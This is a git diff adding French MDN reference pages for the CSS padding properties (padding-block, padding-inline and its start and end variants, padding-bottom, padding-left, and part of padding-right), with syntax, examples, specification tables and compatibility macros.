+translation_of: Web/CSS/padding-block
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>padding-block</code></strong> définit l'espace de remplissage (<em>padding</em>) pour le début et la fin de l'axe de bloc de l'élément. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("padding-top")}} et  {{cssxref("padding-bottom")}} ou à {{cssxref("padding-right")}} et {{cssxref("padding-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+padding-block: 10px 20px;  /* Des longueurs absolues */
+padding-block: 1em 2em;    /* Des longueurs relatives à la taille du texte */
+padding-block: 5% 2%;      /* Des longueurs relatives à la taille du bloc englobant */
+padding-block: 10px;       /* Une seule valeur définit le remplissage des deux côtés */
+
+/* Valeurs avec un mot-clé */
+padding-block: auto;
+
+/* Valeurs globales */
+padding-block: inherit;
+padding-block: initial;
+padding-block: unset;
+</pre>
+
+<p>Ces valeurs peuvent être définies individuellement grâce aux propriétés détaillées {{cssxref("padding-block-start")}} et {{cssxref("padding-block-end")}}. Pour définir le remplissage sur l'axe en ligne, on pourra utiliser la propriété logique raccourcie {{cssxref("padding-inline")}} qui définit {{cssxref("padding-inline-start")}} et {{cssxref("padding-inline-end")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La propriété <code>padding-block</code> peut prendre les mêmes valeurs que la propriété {{cssxref("padding-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  padding-block: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-block", "padding-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.padding-block")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("padding-top")}},</li>
+   <li>{{cssxref("padding-right")}},</li>
+   <li>{{cssxref("padding-bottom")}},</li>
+   <li>{{cssxref("padding-left")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés influençant les propriétés logiques :
+  <ul>
+   <li>{{cssxref("writing-mode")}},</li>
+   <li>{{cssxref("direction")}},</li>
+   <li>{{cssxref("text-orientation")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/padding-bottom/index.html b/files/fr/web/css/padding-bottom/index.html
new file mode 100644
index 0000000000..f191ec7c27
--- /dev/null
+++ b/files/fr/web/css/padding-bottom/index.html
@@ -0,0 +1,120 @@
+---
+title: padding-bottom
+slug: Web/CSS/padding-bottom
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>padding-bottom</code></strong> d'un élément ajuste la hauteur de la boîte de remplissage (<em>padding</em>) en haut de l'élément. La <a href="/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte">zone de remplissage</a> correspond à l'espace entre le contenu et la bordure. Contrairement à {{cssxref("margin-bottom")}}, <code>padding-bottom</code> ne peut pas recevoir de valeurs négatives.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-bottom.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété raccourcie {{cssxref("padding")}} permet de paramétrer les dimensions des quatre côtés de cette boîte (y compris <code>padding-bottom</code> donc).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-bottom: 0.5em;
+padding-bottom: 0;
+padding-bottom: 2cm;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-bottom: 10%;
+
+/* Valeurs globales */
+padding-bottom: inherit;
+padding-bottom: initial;
+padding-bottom: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Cette valeur définit une hauteur positive. Voir {{cssxref("&lt;length&gt;")}} pour plus de détails.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage en rapport avec la largeur du bloc englobant. Voir {{cssxref("&lt;percentage&gt;")}} pour plus de détails.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="padd"&gt;
+  Elle n’avait pas bu la moitié de la bouteille,
+  que sa tête touchait au plafond et qu’elle fut
+  forcée de se baisser pour ne pas se casser le
+  cou.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.padd {
+  padding-bottom: 5em;
+  border: solid 1px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-padding', 'padding-bottom')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucun changement depuis {{SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'padding-bottom')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>padding-bottom</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement depuis {{Specname('CSS1', '#padding-bottom', 'padding-bottom')}}.</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS1', '#padding-bottom', 'padding-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding-bottom")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">Le modèle de boîtes CSS</a></li>
+ <li>La propriété raccourcie {{cssxref("padding")}} qui permet de paramétrer <code>padding-bottom</code>, {{cssxref("padding-right")}}, {{cssxref("padding-top")}} et {{cssxref("padding-left")}}.</li>
+</ul>
diff --git a/files/fr/web/css/padding-inline-end/index.html b/files/fr/web/css/padding-inline-end/index.html
new file mode 100644
index 0000000000..b226bc62bd
--- /dev/null
+++ b/files/fr/web/css/padding-inline-end/index.html
@@ -0,0 +1,114 @@
+---
+title: padding-inline-end
+slug: Web/CSS/padding-inline-end
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-inline-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété<strong> <code>padding-inline-end</code></strong> définit le décalage avec la fin de la zone de remplissage d'un élément, selon le mode d'écriture, la directionnalité et l'orientation du texte. Elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} slon les valeurs définies poru {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>Les autres parties « logiques » du remplissage sont définies grâce aux propriétés {{cssxref("padding-block-start")}}, {{cssxref("padding-block-end")}} et {{cssxref("padding-inline-start")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-inline-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-inline-end: 10px;
+padding-inline-end: 1em;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-inline-end: 5%;  /* Relatif à la largeur du bloc englobant */
+
+/* Valeurs globales */
+padding-inline-end: inherit;
+padding-inline-end: initial;
+padding-inline-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>padding-inline-end</code> peut prendre les mêmes valeurs que la propriété {{cssxref("padding-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple Lorem y psoum&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  padding-inline-end: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-inline-end", "padding-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding-inline-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("padding-top")}},</li>
+   <li>{{cssxref("padding-right")}},</li>
+   <li>{{cssxref("padding-bottom")}},</li>
+   <li>{{cssxref("padding-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}},</li>
+ <li>{{cssxref("direction")}},</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/padding-inline-start/index.html b/files/fr/web/css/padding-inline-start/index.html
new file mode 100644
index 0000000000..4e3ab291af
--- /dev/null
+++ b/files/fr/web/css/padding-inline-start/index.html
@@ -0,0 +1,114 @@
+---
+title: padding-inline-start
+slug: Web/CSS/padding-inline-start
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-inline-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété<strong> <code>padding-inline-start</code></strong> définit le décalage avec le début de la zone de remplissage d'un élément, selon le mode d'écriture, la directionnalité et l'orientation du texte. Elle correspond à la propriété {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} ou {{cssxref("padding-left")}} selon les valeurs définies pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>Les autres parties « logiques » du remplissage sont définies grâce aux propriétés {{cssxref("padding-block-start")}}, {{cssxref("padding-block-end")}} et {{cssxref("padding-inline-end")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/padding-inline-start.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-inline-start: 10px;
+padding-inline-start: 1em;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-inline-start: 5%;  /* Relatif à la largeur du bloc englobant */
+
+/* Valeurs globales */
+padding-inline-start: inherit;
+padding-inline-start: initial;
+padding-inline-start: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>padding-inline-start</code> peut prendre les mêmes valeurs que la propriété {{cssxref("padding-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  padding-inline-start: 20px;
+  background-color: #C8C800;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-inline-start", "padding-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding-inline-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("padding-top")}},</li>
+   <li>{{cssxref("padding-right")}},</li>
+   <li>{{cssxref("padding-bottom")}},</li>
+   <li>{{cssxref("padding-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}},</li>
+ <li>{{cssxref("direction")}},</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/padding-inline/index.html b/files/fr/web/css/padding-inline/index.html
new file mode 100644
index 0000000000..380dfcda04
--- /dev/null
+++ b/files/fr/web/css/padding-inline/index.html
@@ -0,0 +1,116 @@
+---
+title: padding-inline
+slug: Web/CSS/padding-inline
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/padding-inline
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>padding-inline</code></strong> définit l'espace de remplissage (<em>padding</em>) pour le début et la fin de l'axe en ligne de l'élément. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("padding-top")}} et  {{cssxref("padding-bottom")}} ou à {{cssxref("padding-right")}} et {{cssxref("padding-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+padding-inline: 10px 20px;  /* Des longueurs absolues */
+padding-inline: 1em 2em;    /* Des longueurs relatives à la taille du texte */
+padding-inline: 5% 2%;      /* Des longueurs relatives à la taille du bloc englobant */
+padding-inline: 10px;       /* Une seule valeur définit le remplissage des deux côtés */
+
+/* Valeurs avec un mot-clé */
+padding-inline: auto;
+
+/* Valeurs globales */
+padding-inline: inherit;
+padding-inline: initial;
+padding-inline: unset;
+</pre>
+
+<p>Ces valeurs peuvent être définies individuellement grâce aux propriétés détaillées {{cssxref("padding-inline-start")}} et {{cssxref("padding-inline-end")}}. Pour définir le remplissage sur l'axe de bloc, on pourra utiliser la propriété logique raccourcie {{cssxref("padding-block")}} qui définit {{cssxref("padding-block-start")}} et {{cssxref("padding-block-end")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La propriété <code>padding-inline</code> peut prendre les mêmes valeurs que la propriété {{cssxref("padding-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  padding-inline: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-padding-inline", "padding-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.padding-inline")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("padding-top")}},</li>
+   <li>{{cssxref("padding-right")}},</li>
+   <li>{{cssxref("padding-bottom")}},</li>
+   <li>{{cssxref("padding-left")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés influençant les propriétés logiques :
+  <ul>
+   <li>{{cssxref("writing-mode")}},</li>
+   <li>{{cssxref("direction")}},</li>
+   <li>{{cssxref("text-orientation")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/padding-left/index.html b/files/fr/web/css/padding-left/index.html
new file mode 100644
index 0000000000..164ce17636
--- /dev/null
+++ b/files/fr/web/css/padding-left/index.html
@@ -0,0 +1,120 @@
+---
+title: padding-left
+slug: Web/CSS/padding-left
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-left
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>padding-left</code></strong> d'un élément correspond à l'espace nécessaire à la gauche d'un élément. La <a href="/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte">zone de remplissage</a> correspond à l'espace entre le contenu et la bordure. <code>padding-left</code> ne peut pas recevoir de valeurs négatives.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-left.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété raccourcie {{cssxref("padding")}} permet de paramétrer les dimensions des quatre côtés de cette boîte (y compris <code>padding-left</code> donc).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-left: 0.5em;
+padding-left: 0;
+padding-left: 2cm;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-left: 10%;
+
+/* Valeurs globales */
+padding-left: inherit;
+padding-left: initial;
+padding-left: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Cette valeur définit une largeur positive. Voir {{cssxref("&lt;length&gt;")}} pour plus de détails.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage en rapport avec la largeur du bloc englobant. Voir {{cssxref("&lt;percentage&gt;")}} pour plus de détails.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="padd"&gt;
+  Elle n’avait pas bu la moitié de la bouteille,
+  que sa tête touchait au plafond et qu’elle fut
+  forcée de se baisser pour ne pas se casser le
+  cou.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.padd {
+  padding-left: 20%;
+  border: solid 1px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-padding', 'padding-left')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'padding-left')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>padding-left</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#padding-properties', 'padding-left')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS1', '#padding-left', 'padding-left')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("css.properties.padding-left")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">Le modèle de boîtes CSS</a></li>
+ <li>La propriété raccourcie {{cssxref("padding")}} qui permet de paramétrer <code>padding-top</code>, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} et {{cssxref("padding-left")}}.</li>
+</ul>
diff --git a/files/fr/web/css/padding-right/index.html b/files/fr/web/css/padding-right/index.html
new file mode 100644
index 0000000000..bdc3db6f3b
--- /dev/null
+++ b/files/fr/web/css/padding-right/index.html
@@ -0,0 +1,122 @@
+---
+title: padding-right
+slug: Web/CSS/padding-right
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-right
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>padding-right</code></strong> d'un élément correspond à l'espace nécessaire à la droite d'un élément. La <a href="/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte" title="http://developer.mozilla.org/en/CSS/Box_model#padding">zone de remplissage</a> correspond à l'espace entre le contenu et la bordure. <code>padding-right</code> ne peut pas recevoir de valeurs négatives.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-right.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété raccourcie {{cssxref("padding")}} permet de paramétrer les dimensions des quatre côtés de cette boîte (y compris <code>padding-right</code> donc).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-right: 0.5em;
+padding-right: 0;
+padding-right: 2cm;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-right: 10%;
+
+/* Valeurs globales */
+padding-right: inherit;
+padding-right: initial;
+padding-right: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Cette valeur définit une largeur positive. Voir {{cssxref("&lt;length&gt;")}} pour plus de détails.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage en rapport avec la largeur du bloc englobant. Voir {{cssxref("&lt;percentage&gt;")}} pour plus de détails.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="padd"&gt;
+  Elle n’avait pas bu la moitié de la bouteille,
+  que sa tête touchait au plafond et qu’elle fut
+  forcée de se baisser pour ne pas se casser le
+  cou.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.padd {
+  padding-right: 20%;
+  border: solid 1px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-padding', 'padding-right')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'padding-right')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>padding-right</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
